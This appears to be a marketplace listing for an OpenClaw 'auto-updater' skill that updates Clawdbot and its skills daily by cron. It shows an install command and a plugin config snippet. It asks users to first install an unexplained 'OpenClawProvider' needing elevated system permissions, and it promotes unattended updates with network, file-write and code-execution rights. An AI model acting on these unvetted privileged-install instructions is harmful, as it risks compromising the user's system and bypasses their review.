auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills current with the auto-updater. Schedule daily updates to stay secure and access the latest features automatically.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/pierremenard/auto-updater-ah1What This Skill Does
The auto-updater skill is an essential maintenance tool for your OpenClaw ecosystem, ensuring that both the core Clawdbot framework and your library of installed skills remain at their latest versions. By automating the update cycle via a scheduled cron job, this skill eliminates the need for manual oversight, preventing security vulnerabilities and ensuring you always have access to the latest feature sets. It provides a clean, detailed summary message upon completion, detailing exact version changes and identifying which components remain up to date, allowing you to track system evolution without effort.
Installation
Installation is handled through the Clawhub repository. To install, use the command: clawhub install openclaw/skills/skills/pierremenard/auto-updater-ah1. Please note that this skill relies on the OpenClawProvider, which must be correctly installed on your host system before the auto-updater can function, as it requires specific elevated permissions and environment access to perform system-level updates.
Use Cases
This skill is perfect for power users and developers who maintain multiple extensions and want to ensure stability across their Clawdbot instance. It is particularly useful for automated server environments where human intervention is not always available, ensuring that critical security patches or emergency bug fixes are applied immediately as they are released by the maintainers.
Example Prompts
- "Set up daily auto-updates for myself and all my skills."
- "Show me the last report from the auto-updater to see what changed yesterday."
- "Run a dry-run update check to see if any of my installed skills are currently outdated."
Tips & Limitations
To maximize the utility of this skill, ensure that your Gateway is configured for continuous operation, as the cron job will fail if the system is offline during the scheduled 4:00 AM window. If you require updates at a different time, you can modify the cron schedule using the clawdbot cron commands. Always monitor the generated summary report; if the updater notes a failure, use clawdbot doctor to diagnose and repair potential environment inconsistencies.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-pierremenard-auto-updater-ah1": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, code-execution